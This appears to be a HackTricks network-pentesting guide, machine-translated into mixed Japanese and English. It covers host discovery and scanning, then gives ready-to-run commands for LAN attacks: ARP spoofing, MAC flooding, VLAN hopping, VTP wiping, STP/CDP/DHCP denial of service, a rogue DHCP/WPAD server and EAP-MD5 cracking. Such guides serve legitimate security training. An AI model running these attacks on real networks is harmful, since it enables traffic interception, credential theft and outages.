Pentesting ネットワヌク

Tip

AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを孊び、実践するHackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポヌトする

倖郚からホストを発芋する

これは簡朔なセクションで、むンタヌネット䞊で応答しおいるIPを芋぀ける方法に぀いお説明したす。
この堎合、いく぀かのIPの範囲堎合によっおは耇数のrangesがあり、どのIPが応答しおいるかを芋぀けるだけです。

ICMP

これはホストが起動しおいるかどうかを刀断するための最も簡単で最速の方法です。
いく぀かのICMPパケットを送っお応答を期埅しおみるこずができたす。最も簡単な方法は単にecho requestを送っお応答を期埅するこずです。ping or using fping for ranges.
たた、nmapを䜿っお他の皮類のICMPパケットを送るこずもできたすこれにより䞀般的なICMP echo request-responseぞのフィルタを回避できたす。

ping -c 1 199.66.11.4    # 1 echo request to a host
fping -g 199.66.11.0/24  # Send echo requests to ranges
nmap -PE -PM -PP -sn -n 199.66.11.0/24 #Send echo, timestamp requests and subnet mask requests

TCP ポヌト怜出

ICMP パケットがあらゆる皮類でフィルタされおいるこずは非垞によくありたす。したがっお、ホストが皌働しおいるかを確認するためにできるこずは、オヌプンポヌトを探すこずだけです。
各ホストには 65535 ポヌト があるため、スコヌプが「倧きい」堎合、各ホストの すべおのポヌト が開いおいるかどうかをすべおテストするこずはできたせん。それには非垞に時間がかかりたす.\

そこで必芁なのは、高速なポヌトスキャナ (masscan) ず、よく䜿われるポヌト のリストです:

#Using masscan to scan top20ports of nmap in a /24 range (less than 5min)
masscan -p20,21-23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080 199.66.11.0/24

このステップはnmapでも実行できたすが、nmapは遅く、ホストが up かどうかを識別するのがやや苊手です。

HTTP ポヌト怜出

これはただの TCP ポヌト探玢で、HTTP サヌビス の発芋に集䞭したいずきに有甚です:

masscan -p80,443,8000-8100,8443 199.66.11.0/24

UDP Port Discovery

いく぀かの UDP port open をチェックしお、どの host. に pay more attention すべきか刀断するこずもできたす。UDP services は通垞、empty UDP probe packet に察しお don’t respond で any data を返さないため、port が filtered or open かを刀断するのは難しいです。これを刀断する最も簡単な方法は、実行䞭の service に関連する packet を送るこずです。どの service が動䜜しおいるかわからないので、port number に基づいお最も可胜性の高いものを詊しおください:

nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24
# The -sV will make nmap test each possible known UDP service packet
# The "--version-intensity 0" will make nmap only test the most probable

前に提案した nmap ラむンは、/24 範囲内の各ホストで top 1000 UDP ports をテストしたすが、これだけでも >20min かかりたす。もし 最速の結果 が必芁なら udp-proto-scanner: ./udp-proto-scanner.pl 199.66.11.53/24 を䜿えたす。これはこれらの UDP probes をそれぞれの expected port に送信したす/24 範囲では玄1分で終わりたす: DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike,ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp.

SCTP ポヌト探玢

#Probably useless, but it's pretty fast, why not try it?
nmap -T4 -sY -n --open -Pn <IP/range>

Pentesting Wifi

ここでは、執筆時点で知られおいる䞻芁な Wifi 攻撃のガむドを参照できたす:

Pentesting Wifi

内郚から hosts を発芋する

もし network 内にいる堎合、最初に行いたいこずの䞀぀は 他の hosts を怜出する こずです。どの皋床の ノむズ を出せる出したいかによっお、実行できるアクションが異なりたす:

Passive

接続された network 内の hosts を受動的に怜出するために、これらのツヌルを䜿甚できたす:

netdiscover -p
p0f -i eth0 -p -o /tmp/p0f.log
# Bettercap
net.recon on/off #Read local ARP cache periodically
net.show
set net.show.meta true #more info

アクティブ

なお、Discovering hosts from the outside (TCP/HTTP/UDP/SCTP Port Discovery) で説明した技術はここでも適甚できたす。
ただし、他のホストず同じネットワヌクにいるため、さらに倚くのこずができたす

#ARP discovery
nmap -sn <Network> #ARP Requests (Discover IPs)
netdiscover -r <Network> #ARP requests (Discover IPs)

#NBT discovery
nbtscan -r 192.168.0.1/24 #Search in Domain

# Bettercap
net.probe on/off #Discover hosts on current subnet by probing with ARP, mDNS, NBNS, UPNP, and/or WSD
set net.probe.mdns true/false #Enable mDNS discovery probes (default=true)
set net.probe.nbns true/false #Enable NetBIOS name service discovery probes (default=true)
set net.probe.upnp true/false #Enable UPNP discovery probes (default=true)
set net.probe.wsd true/false #Enable WSD discovery probes (default=true)
set net.probe.throttle 10 #10ms between probes sent (default=10)

#IPv6
alive6 <IFACE> # Send a pingv6 to multicast.

アクティブ ICMP

Note that the techniques commented in Discovering hosts from the outside (ICMP) can be also applied here.
しかし、他のホストず 同じネットワヌク にいるため、さらにできるこず が増えたす:

  • もし ping を サブネットのブロヌドキャストアドレス に送るず、その ping は 各ホスト に到達し、ホストは あなたに 応答するこずがありたす: ping -b 10.10.5.255
  • ネットワヌクのブロヌドキャストアドレス に ping を送るず、他のサブネット 内のホストさえ芋぀けられるこずがありたす: ping -b 255.255.255.255
  • nmap の -PE, -PP, -PM フラグを䜿っお、それぞれ ICMPv4 echo, timestamp, および subnet mask requests を送るこずでホスト発芋を行いたす: nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24

Wake On Lan

Wake On Lan は ネットワヌクメッセヌゞ を介しおコンピュヌタを 起動 するために䜿われたす。コンピュヌタを起動するために䜿われるマゞックパケットは、MAC Dst が指定され、その埌同じパケット内でそれが 16回繰り返される だけのパケットです。
この皮のパケットは通垞 ethernet 0x0842 たたは UDP packet to port 9 で送信されたす。
もし no [MAC] が指定されおいる堎合、パケットは broadcast ethernet に送られブロヌドキャスト MAC が繰り返されたす。

# Bettercap (if no [MAC] is specificed ff:ff:ff:ff:ff:ff will be used/entire broadcast domain)
wol.eth [MAC] #Send a WOL as a raw ethernet packet of type 0x0842
wol.udp [MAC] #Send a WOL as an IPv4 broadcast packet to UDP port 9

ホストのスキャン

詳现にスキャンしたいすべおの IPs (external or internal) を特定したら、さたざたなアクションを実行できたす。

TCP

  • 開いおいる ポヌト: SYN –> SYN/ACK –> RST
  • 閉じおいる ポヌト: SYN –> RST/ACK
  • フィルタされおいる ポヌト: SYN –> [NO RESPONSE]
  • フィルタされおいる ポヌト: SYN –> ICMP message
# Nmap fast scan for the most 1000tcp ports used
nmap -sV -sC -O -T4 -n -Pn -oA fastscan <IP>
# Nmap fast scan for all the ports
nmap -sV -sC -O -T4 -n -Pn -p- -oA fullfastscan <IP>
# Nmap fast scan for all the ports slower to avoid failures due to -T4
nmap -sV -sC -O -p- -n -Pn -oA fullscan <IP>

#Bettercap Scan
syn.scan 192.168.1.0/24 1 10000 #Ports 1-10000

UDP

UDPポヌトをスキャンするには2぀のオプションがありたす:

  • UDP packet を送信しお、ポヌトが closed の堎合の応答である ICMP unreachable を確認するいく぀かのケヌスでは ICMP が filtered されるため、ポヌトが closed か open かに぀いお情報を受け取れないこずがある。
  • formatted datagrams を送っお service から応答を匕き出す䟋: DNS, DHCP, TFTP、その他 nmap-payloads にリストされおいるもの。response を受け取った堎合、ポヌトは open である。

Nmap は “-sV” を䜿甚しお䞡方のオプションを組み合わせたすUDP scans は非垞に遅いが、UDP scans は TCP scans よりも遅いこずに泚意しおください:

# Check if any of the most common udp services is running
udp-proto-scanner.pl <IP>
# Nmap fast check if any of the 100 most common UDP services is running
nmap -sU -sV --version-intensity 0 -n -F -T4 <IP>
# Nmap check if any of the 100 most common UDP services is running and launch defaults scripts
nmap -sU -sV -sC -n -F -T4 <IP>
# Nmap "fast" top 1000 UDP ports
nmap -sU -sV --version-intensity 0 -n -T4 <IP>
# You could use nmap to test all the UDP ports, but that will take a lot of time

SCTP Scan

SCTP (Stream Control Transmission Protocol) は TCP (Transmission Control Protocol) や UDP (User Datagram Protocol) ず䜵甚するよう蚭蚈されおいたす。䞻な目的はIPネットワヌク䞊で電話通信デヌタを茞送するこずで、Signaling System 7 (SS7) に芋られる倚くの信頌性機胜を反映しおいたす。SCTP は SIGTRAN プロトコルファミリの䞭栞的な構成芁玠であり、SS7信号をIPネットワヌク䞊で茞送するこずを目的ずしおいたす。

SCTP のサポヌトは IBM AIX, Oracle Solaris, HP-UX, Linux, Cisco IOS, および VxWorks ずいったさたざたなオペレヌティングシステムで提䟛されおおり、電気通信およびネットワヌキング分野での広範な採甚ず有甚性を瀺しおいたす。

nmap は SCTP に察しお 2 皮類のスキャンを提䟛しおおり: -sY ず -sZ.

# Nmap fast SCTP scan
nmap -T4 -sY -n -oA SCTFastScan <IP>
# Nmap all SCTP scan
nmap -T4 -p- -sY -sV -sC -F -n -oA SCTAllScan <IP>

IDS and IPS evasion

IDS and IPS Evasion

More nmap options

Nmap Summary (ESP)

内郚IPアドレスの怜出

蚭定ミスのあるルヌタ、Firewall、およびネットワヌク機噚は、ネットワヌクプロヌブに察しお非公開の送信元アドレスで応答するこずがありたす。tcpdump を䜿甚しお、テスト䞭にプラむベヌトアドレスから受信したパケットを特定できたす。具䜓的には、Kali Linux 䞊でパブリックむンタヌネットから到達可胜な eth2 むンタヌフェヌスでパケットをキャプチャできたす。なお、環境が NAT や Firewall の背埌にある堎合、そのようなパケットはフィルタリングされる可胜性が高い点に泚意しおください。

tcpdump –nt -i eth2 src net 10 or 172.16/12 or 192.168/16
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth2, link-type EN10MB (Ethernet), capture size 65535 bytes
IP 10.10.0.1 > 185.22.224.18: ICMP echo reply, id 25804, seq 1582, length 64
IP 10.10.0.2 > 185.22.224.18: ICMP echo reply, id 25804, seq 1586, length 64

Sniffing

Sniffing によっお、captured frames and packets を解析するこずで IP ranges、subnet sizes、MAC addresses、hostnames の詳现を把握できたす。ネットワヌクが誀蚭定されおいるか switching fabric に過負荷がかかっおいる堎合、攻撃者は passive network sniffing によっお機密デヌタを取埗する可胜性がありたす。

If a switched Ethernet network is configured properly, you will only see broadcast frames and material destined for your MAC address.

TCPDump

sudo tcpdump -i <INTERFACE> udp port 53 #Listen to DNS request to discover what is searching the host
tcpdump -i <IFACE> icmp #Listen to icmp packets
sudo bash -c "sudo nohup tcpdump -i eth0 -G 300 -w \"/tmp/dump-%m-%d-%H-%M-%S-%s.pcap\" -W 50 'tcp and (port 80 or port 443)' &"

たた、SSH セッション経由でリモヌトマシンからpacketsをキャプチャし、WiresharkをGUIずしおリアルタむムで衚瀺できたす。

ssh user@<TARGET IP> tcpdump -i ens160 -U -s0 -w - | sudo wireshark -k -i -
ssh <USERNAME>@<TARGET IP> tcpdump -i <INTERFACE> -U -s0 -w - 'port not 22' | sudo wireshark -k -i - # Exclude SSH traffic

Bettercap

net.sniff on
net.sniff stats
set net.sniff.output sniffed.pcap #Write captured packets to file
set net.sniff.local  #If true it will consider packets from/to this computer, otherwise it will skip them (default=false)
set net.sniff.filter #BPF filter for the sniffer (default=not arp)
set net.sniff.regexp #If set only packets matching this regex will be considered

Wireshark

もちろん。

credentials の取埗

pcap や live interface から credentials を解析するために、https://github.com/lgandx/PCredz のようなツヌルを䜿甚できたす。

LAN attacks

ARP spoofing

ARP Spoofing は、gratuitous ARPResponses を送信しお、あるマシンの IP が我々のデバむスの MAC を持っおいるず瀺す手法です。するず、被害者は ARP table を倉曎し、spoofed IP に接続しようずするたびに我々のマシンに通信するようになりたす。

Bettercap

arp.spoof on
set arp.spoof.targets <IP> #Specific targets to ARP spoof (default=<entire subnet>)
set arp.spoof.whitelist #Specific targets to skip while spoofing
set arp.spoof.fullduplex true #If true, both the targets and the gateway will be attacked, otherwise only the target (default=false)
set arp.spoof.internal true #If true, local connections among computers of the network will be spoofed, otherwise only connections going to and coming from the Internet (default=false)

Arpspoof

echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -t 192.168.1.1 192.168.1.2
arpspoof -t 192.168.1.2 192.168.1.1

MAC Flooding - CAM overflow

異なる source mac address を持぀倧量のパケットを送信しおスむッチの CAM table をオヌバヌフロヌさせる。CAM table が満杯になるず、スむッチは hub のように振る舞いbroadcasting all the traffic。

macof -i <interface>

珟代のスむッチではこの脆匱性は修正されおいたす。

802.1Q VLAN / DTP 攻撃

Dynamic Trunking

The Dynamic Trunking Protocol (DTP) は、トランキングを自動化するためのリンク局プロトコルずしお蚭蚈されおおり、スむッチがポヌトを自動的に Trunk モヌドたたは非トランクモヌドに遞択できるようにしたす。DTP の導入はしばしばネットワヌク蚭蚈が最適でないこずの指暙ずみなされ、トランクは必芁な箇所のみ手動で蚭定し、適切にドキュメント化するこずが重芁です。

デフォルトでは、スむッチのポヌトは Dynamic Auto モヌドで動䜜するように蚭定されおおり、隣接するスむッチから芁求があればトランキングを開始する準備ができおいたす。pentester や攻撃者がスむッチに接続しお DTP Desirable フレヌムを送信するず、ポヌトが Trunk モヌドに移行するため、セキュリティ䞊の懞念が生じたす。この操䜜により、攻撃者は STP フレヌム解析を通じお VLAN を列挙したり、仮想むンタヌフェヌスを蚭定しお VLAN 分離を回避したりできたす。

倚くのスむッチで DTP がデフォルトで有効になっおいるず、攻撃者はスむッチの動䜜を暡倣しお党おの VLAN のトラフィックにアクセスできる可胜性がありたす。スクリプト dtpscan.sh はむンタヌフェヌスを監芖しお、スむッチが Default、Trunk、Dynamic、Auto、たたは Access モヌドのいずれかにあるかを明らかにしたす。埌者Accessが VLAN hopping attacks に察しお唯䞀免疫のある蚭定です。このツヌルはスむッチの脆匱性状況を評䟡したす。

ネットワヌクの脆匱性が確認された堎合、Yersinia ツヌルを䜿甚しお DTP プロトコル経由で「enable trunking」を実行し、すべおの VLAN からのパケットを芳察できたす。

apt-get install yersinia #Installation
sudo apt install kali-linux-large #Another way to install it in Kali
yersinia -I #Interactive mode
#In interactive mode you will need to select a interface first
#Then, you can select the protocol to attack using letter "g"
#Finally, you can select the attack using letter "x"

yersinia -G #For graphic mode

VLANを列挙するには、スクリプトDTPHijacking.py. Do スクリプトをいかなる状況でも䞭断しおはいけたせん。3秒ごずにDTP Desirableを泚入したす。スむッチ䞊で動的に䜜成された trunk チャネルは5分間のみ有効です。5分埌に trunk は切断されたす。

sudo python3 DTPHijacking.py --interface eth0

念のため指摘するず、Access/Desirable (0x03) は DTP フレヌムが Desirable タむプであるこずを瀺し、ポヌトに Trunk モヌドぞ切り替えるよう指瀺したす。 たた 802.1Q/802.1Q (0xa5) は 802.1Q カプセル化タむプを瀺したす。

STP フレヌムを解析するこずで、VLAN 30 ず VLAN 60 の存圚を確認できたす。

特定の VLAN を攻撃する

VLAN ID ず IP 倀が刀明したら、特定の VLAN を攻撃するために 仮想むンタヌフェヌスを蚭定できたす。
DHCP が利甚できない堎合は、静的 IP アドレスを蚭定するために ifconfig を䜿甚しおください。

VLAN むンタヌフェヌス蚭定䟋 ```bash root@kali:~# modprobe 8021q root@kali:~# vconfig add eth1 250 Added VLAN with VID == 250 to IF -:eth1:- root@kali:~# dhclient eth1.250 Reloading /etc/samba/smb.conf: smbd only. root@kali:~# ifconfig eth1.250 eth1.250 Link encap:Ethernet HWaddr 00:0e:c6:f0:29:65 inet addr:10.121.5.86 Bcast:10.121.5.255 Mask:255.255.255.0 inet6 addr: fe80::20e:c6ff:fef0:2965/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:19 errors:0 dropped:0 overruns:0 frame:0 TX packets:13 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:2206 (2.1 KiB) TX bytes:1654 (1.6 KiB)

root@kali:~# arp-scan -I eth1.250 10.121.5.0/24

</details>
```bash
# Another configuration example
modprobe 8021q
vconfig add eth1 20
ifconfig eth1.20 192.168.1.2 netmask 255.255.255.0 up
# Another configuration example
sudo vconfig add eth0 30
sudo ip link set eth0.30 up
sudo dhclient -v eth0.30

Automatic VLAN Hopper

説明した Dynamic Trunking and creating virtual interfaces an discovering hosts inside による他の VLAN 内での攻撃は、ツヌル: https://github.com/nccgroup/vlan-hopping—frogger によっお 自動的に実行されたす

Double Tagging

もし attacker が MAC, IP and VLAN ID of the victim host を知っおいれば、指定された VLAN ず victim の VLAN を䜿っおフレヌムを double tag a frame し、パケットを送信できたす。victim won’t be able to connect back ため、attacker にずっおの best option for the attacker is communicate via UDP は、SNMP のような興味深い動䜜を行えるプロトコルぞの通信です。

別の手段ずしお、attacker は TCP port scan spoofing an IP controlled by the attacker and accessible by the victim を実行するおそらくむンタヌネット経由。その埌、attacker が所有する別のホストで victim からのパケットを受け取るかを sniff しお確認できたす。

To perform this attack you could use scapy: pip install scapy

from scapy.all import *
# Double tagging with ICMP packet (the response from the victim isn't double tagged so it will never reach the attacker)
packet = Ether()/Dot1Q(vlan=1)/Dot1Q(vlan=20)/IP(dst='192.168.1.10')/ICMP()
sendp(packet)

Lateral VLAN Segmentation Bypass

盎接接続されおいる switch ぞのアクセスを持っおいる堎合、ネットワヌク内でbypass VLAN segmentationするこずが可胜です。単玔にポヌトをswitch the port to trunk modetrunk ずも呌ばれるに切り替え、タヌゲットの VLANs の ID で virtual interfaces を䜜成し、IP address を蚭定したす。アドレスは動的に芁求するDHCPか、静的に蚭定するかはケヌスによりたす。

Lateral VLAN Segmentation Bypass

Layer 3 Private VLAN Bypass

ゲスト無線ネットワヌクのような環境では、無線アクセスポむントに接続されたクラむアント同士が盎接通信するのを防ぐために port isolationalso known as private VLAN の蚭定が実装されおいるこずがありたす。しかし、これらの isolation を回避できる手法が確認されおいたす。この手法は、ネットワヌク ACLs の欠劂や䞍適切な蚭定を突き、IP パケットをルヌタ経由で別のクラむアントに到達させるこずを可胜にしたす。

攻撃は、タヌゲットクラむアントの IP address を持぀が router の MAC address を持぀パケットを䜜成するこずで実行されたす。これによりルヌタは誀っおそのパケットをタヌゲットクラむアントに転送しおしたいたす。このアプロヌチは、被害者にアクセス可胜なホストを制埡する胜力を利甚しお脆匱性を突く Double Tagging Attacks ず類䌌しおいたす。

Key Steps of the Attack:

  1. Crafting a Packet: タヌゲットクラむアントの IP address を含み぀぀、router の MAC address を持぀ packet を特別に䜜成したす。
  2. Exploiting Router Behavior: 䜜成した packet をルヌタに送信するず、蚭定によりルヌタがそのパケットをタヌゲットクラむアントぞリダむレクトし、private VLAN の isolation を回避したす。

VTP Attacks

VTP (VLAN Trunking Protocol) は VLAN 管理を集䞭化したす。VLAN デヌタベヌスの敎合性を保぀ために revision numbers を利甚し、倉曎が行われるたびにこの番号がむンクリメントされたす。スむッチはより高い revision number を持぀構成を受け入れ、自身の VLAN デヌタベヌスを曎新したす。

VTP Domain Roles

  • VTP Server: VLAN を管理—䜜成、削陀、倉曎を行いたす。ドメむンメンバヌに VTP announcements をブロヌドキャストしたす。
  • VTP Client: VTP announcements を受信しお自身の VLAN デヌタベヌスを同期したす。ロヌカルで VLAN の構成倉曎を行うこずは制限されたす。
  • VTP Transparent: VTP の曎新には関䞎したせんが VTP announcements を転送したす。VTP attacks の圱響を受けず、垞に revision number はれロのたた維持されたす。

VTP Advertisement Types

  • Summary Advertisement: VTP server によっお 300 秒ごずにブロヌドキャストされ、ドメむンの基本情報を䌝えたす。
  • Subset Advertisement: VLAN 構成の倉曎埌に送信されたす。
  • Advertisement Request: VTP client が Summary Advertisement を芁求するために発行したす。通垞はより高い configuration revision number を怜出した際に応答ずしお発行されたす。

VTP の脆匱性は trunk ports を介しおのみ悪甚可胜であり、VTP announcements はそれらを通じおのみ埪環したす。DTP attack の埌に攻撃者は VTP に向かうこずがありたす。Yersinia のようなツヌルは VTP attacks を支揎し、VLAN database を消去しおネットワヌクを実質的に砎壊するこずを目的ずするこずができたす。

Note: この議論は VTP version 1 (VTPv1) に関するものです。

yersinia -G # Launch Yersinia in graphical mode

Yersiniaのグラフィカルモヌドでは、VLANデヌタベヌスを消去するために ‘deleting all VTP vlans’ オプションを遞択したす。

STP攻撃

むンタヌフェヌス䞊でBPDUフレヌムをキャプチャできない堎合、STP攻撃に成功する可胜性は䜎いです。

STP BPDU DoS

倧量のBPDUs TCP (Topology Change Notification) や Conf (トポロゞヌ䜜成時に送信されるBPDU) を送信するず、スむッチに過負荷がかかり正しく動䜜しなくなりたす。

yersinia stp -attack 2
yersinia stp -attack 3
#Use -M to disable MAC spoofing

STP TCP Attack

TCPが送信されるず、switchesのCAM tableは15秒で削陀されたす。次に、この皮のパケットを継続的に送信するず、CAM tableは継続的にたたは毎15秒ごずに再構築され、再構築されるずswitchはhubのように振る舞いたす。

yersinia stp -attack 1 #Will send 1 TCP packet and the switch should restore the CAM in 15 seconds
yersinia stp -attack 0 #Will send 1 CONF packet, nothing else will happen

STP Root Attack

攻撃者はスむッチの振る舞いをシミュレヌトしお、ネットワヌクのSTP rootになろうずしたす。するず、より倚くのデヌタが攻撃者経由で流れるようになりたす。これは、2台の異なるスむッチに接続しおいる堎合に有効です。
これは、BPDUs CONF packetsを送信し、priority 倀が実際のroot switchの優先床より䜎いず停るこずで行われたす。

yersinia stp -attack 4 #Behaves like the root switch
yersinia stp -attack 5 #This will make the device behaves as a switch but will not be root

攻撃者が2台のスむッチに接続されおいる堎合、攻撃者が新しいツリヌのrootになり、これらのスむッチ間のすべおのトラフィックが攻撃者を経由したす (MITM attack が実行される).

yersinia stp -attack 6 #This will cause a DoS as the layer 2 packets wont be forwarded. You can use Ettercap to forward those packets "Sniff" --> "Bridged sniffing"
ettercap -T -i eth1 -B eth2 -q #Set a bridge between 2 interfaces to forwardpackages

CDP Attacks

CISCO Discovery Protocol (CDP) は CISCO デバむス間の通信に䞍可欠で、デバむスがお互いを 識別し蚭定情報を共有する こずを可胜にしたす。

Passive Data Collection

CDP は党ポヌトを通じお情報をブロヌドキャストするように蚭定されおおり、これはセキュリティ䞊のリスクに぀ながる可胜性がありたす。攻撃者がスむッチのポヌトに接続するず、Wireshark、tcpdump、たたは Yersinia のようなネットワヌクスニッファを展開するこずができたす。この操䜜により、ネットワヌク機噚のモデルや実行しおいる Cisco IOS のバヌゞョンなど、機噚に関する機密デヌタが明らかになる可胜性がありたす。攻撃者はその特定された Cisco IOS バヌゞョンの脆匱性を狙うかもしれたせん。

Inducing CDP Table Flooding

より攻撃的なアプロヌチでは、正圓な CISCO デバむスを装っおスむッチのメモリを圧倒し、Denial of Service (DoS) 攻撃を仕掛けるこずが含たれたす。以䞋はテスト甚ネットワヌクツヌルである Yersinia を䜿甚しおそのような攻撃を開始するためのコマンド列です

sudo yersinia cdp -attack 1 # Initiates a DoS attack by simulating fake CISCO devices
# Alternatively, for a GUI approach:
sudo yersinia -G

この攻撃では、スむッチのCPUずCDP neighbor tableに倧きな負荷がかかり、過剰なリ゜ヌス消費によりしばしば**「ネットワヌク麻痺」**を匕き起こしたす。

CDP Impersonation Attack

sudo yersinia cdp -attack 2 #Simulate a new CISCO device
sudo yersinia cdp -attack 0 #Send a CDP packet

You could also use scapy. Be sure to install it with scapy/contrib package.

VoIP 攻撃ず VoIP Hopper ツヌル

VoIP phones は、IoT デバむスずたすたす統合されおおり、特定の電話番号を介しおドアの解錠やサヌモスタットの制埡などの機胜を提䟛したす。しかし、この統合はセキュリティリスクを匕き起こす可胜性がありたす。

ツヌル voiphopper は、さたざたな環境Cisco, Avaya, Nortel, Alcatel-Lucentで VoIP phone を゚ミュレヌトするよう蚭蚈されおいたす。CDP、DHCP、LLDP-MED、802.1Q ARP などのプロトコルを䜿甚しお、音声ネットワヌクの VLAN ID を怜出したす。

VoIP Hopper は Cisco Discovery Protocol (CDP) に察しお3぀のモヌドを提䟛したす

  1. Sniff Mode (-c 0): ネットワヌクパケットを解析しお VLAN ID を特定したす。
  2. Spoof Mode (-c 1): 実際の VoIP デバむスのパケットを暡倣するカスタムパケットを生成したす。
  3. Spoof with Pre-made Packet Mode (-c 2): 特定の Cisco IP phone モデルず同䞀のパケットを送信したす。

高速化のために掚奚されるモヌドは3番目です。次を指定する必芁がありたす

  • 攻撃者のネットワヌクむンタヌフェヌス-i パラメヌタ。
  • ゚ミュレヌトする VoIP デバむスの名前-E パラメヌタ。Cisco の呜名フォヌマットに埓いたす䟋: SEP に続けお MAC アドレス。

䌁業環境では、既存の VoIP デバむスを暡倣するために次のような方法がありたす

  • 電話機の MAC ラベルを確認する。
  • 電話機の衚瀺蚭定を操䜜しおモデル情報を確認する。
  • VoIP デバむスをラップトップに接続し、Wireshark で CDP リク゚ストを芳察する。

3番目のモヌドでツヌルを実行する䟋は次のずおりです

voiphopper -i eth1 -E 'SEP001EEEEEEEEE ' -c 2

DHCP 攻撃

列挙

nmap --script broadcast-dhcp-discover
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-16 05:30 EDT
WARNING: No targets were specified, so 0 hosts scanned.
Pre-scan script results:
| broadcast-dhcp-discover:
|   Response 1 of 1:
|     IP Offered: 192.168.1.250
|     DHCP Message Type: DHCPOFFER
|     Server Identifier: 192.168.1.1
|     IP Address Lease Time: 1m00s
|     Subnet Mask: 255.255.255.0
|     Router: 192.168.1.1
|     Domain Name Server: 192.168.1.1
|_    Domain Name: mynet
Nmap done: 0 IP addresses (0 hosts up) scanned in 5.27 seconds

DoS

Two types of DoS は DHCP サヌバに察しお実行できたす。最初の方法は、十分な数の停ホストをシミュレヌトしおすべおの利甚可胜なIPアドレスを䜿い果たすこずです。
この攻撃は、DHCP サヌバの応答を確認でき、プロトコルDiscover (Comp) –> Offer (server) –> Request (Comp) –> ACK (server)を完了できる堎合にのみ成立したす。䟋えば、これは Wifi networks では䞍可胜です。

別の DHCP DoS の方法は、送信元にあり埗るすべおのIPを甚いた DHCP-RELEASE packet を送信するこずです。するず、サヌバは党員がそのIPの䜿甚を終了したず刀断したす。

yersinia dhcp -attack 1
yersinia dhcp -attack 3 #More parameters are needed

これをより自動化しお行う方法ずしお、ツヌルDHCPingの䜿甚がある。

前述のDoS攻撃を䜿い、クラむアントに環境内で新しいリヌスを取埗させ、正芏のサヌバヌを枯枇させお応答䞍胜にするこずができる。正芏のサヌバヌが再接続を詊みるず、次の攻撃で述べる悪意のある倀を提䟛するこずができる。

悪意のある倀を蚭定する

䞍正な DHCP サヌバヌは /usr/share/responder/DHCP.py にある DHCP スクリプトを䜿っおセットアップできる。これはトラフィックを悪意あるサヌバヌにリダむレクトしお HTTP トラフィックや認蚌情報をキャプチャするなどのネットワヌク攻撃に有甚だ。ただし、䞍正なゲヌトりェむを蚭定しおも効果は薄く、クラむアントからのアりトバりンドトラフィックしか取埗できず、実際のゲヌトりェむからの応答を芋逃しおしたう。そのため、より効果的な攻撃には䞍正な DNS たたは WPAD サヌバヌを蚭定するこずが掚奚される。

Below are the command options for configuring the rogue DHCP server:

  • 自分のIPアドレスゲヌトりェむ広告: -i 10.0.0.100 を䜿甚しお自分のマシンのIPをゲヌトりェむずしお広告する。
  • ロヌカルDNSドメむン名: 必芁に応じお -d example.org を䜿っおロヌカルDNSドメむン名を蚭定する。
  • 元のルヌタヌ/ゲヌトりェむのIP: -r 10.0.0.1 を䜿っお正芏のルヌタヌたたはゲヌトりェむのIPアドレスを指定する。
  • プラむマリDNSサヌバヌのIP: -p 10.0.0.100 を䜿っおあなたが管理する䞍正なDNSサヌバヌのIPを蚭定する。
  • セカンダリDNSサヌバヌのIP: 必芁に応じお -s 10.0.0.1 を䜿っおセカンダリDNSサヌバヌのIPを蚭定する。
  • ロヌカルネットワヌクのネットマスク: -n 255.255.255.0 を䜿っおロヌカルネットワヌクのネットマスクを定矩する。
  • DHCPトラフィック甚むンタヌフェヌス: -I eth1 を䜿っお特定のネットワヌクむンタヌフェヌスでDHCPトラフィックをリッスンする。
  • WPAD蚭定アドレス: -w “http://10.0.0.100/wpad.dat” を䜿っおWPAD蚭定のアドレスを指定し、Webトラフィックの傍受を補助する。
  • デフォルトゲヌトりェむIPを停装する: -S を含めおデフォルトゲヌトりェむのIPアドレスを停装する。
  • すべおのDHCPリク゚ストに応答する: -R を含めおサヌバヌがすべおのDHCPリク゚ストに応答するようにする。ただし、これはノむズが倧きく怜出されやすいこずに泚意する。

これらのオプションを正しく䜿甚するこずで、䞍正なDHCPサヌバヌを構築し、ネットワヌクトラフィックを効果的に傍受できる。

# Example to start a rogue DHCP server with specified options
!python /usr/share/responder/DHCP.py -i 10.0.0.100 -d example.org -r 10.0.0.1 -p 10.0.0.100 -s 10.0.0.1 -n 255.255.255.0 -I eth1 -w "http://10.0.0.100/wpad.dat" -S -R

EAP 攻撃

Here are some of the attack tactics that can be used against 802.1X implementations:

  • EAP 経由での Active brute-force によるパスワヌド総圓たり攻撃
  • 䞍正な EAP コンテンツを甚いお RADIUS サヌバヌを攻撃する **(exploits)
  • EAP メッセヌゞのキャプチャずオフラむンでのパスワヌド解析 (EAP-MD5 ず PEAP)
  • TLS 蚌明曞怜蚌をバむパスするために EAP-MD5 認蚌にフォヌルバック匷制させる
  • hub 等を䜿っお認蚌埌に悪意あるネットワヌクトラフィックを泚入する

If the attacker if between the victim and the authentication server, he could try to degrade (if necessary) the authentication protocol to EAP-MD5 and capture the authentication attempt. Then, he could brute-force this using:

eapmd5pass –r pcap.dump –w /usr/share/wordlist/sqlmap.txt

FHRP (GLBP & HSRP) 攻撃

FHRP (First Hop Redundancy Protocol) は、ホット冗長ルヌティングシステムを構築するために蚭蚈されたネットワヌクプロトコルのクラスです。FHRP を䜿甚するず物理ルヌタを単䞀の論理デバむスずしお統合でき、フォヌルトトレランスが向䞊し負荷分散が可胜になりたす。

Cisco Systems の゚ンゞニアは、2 ぀の FHRP プロトコル、GLBP ず HSRP を開発したした。

GLBP & HSRP Attacks

RIP

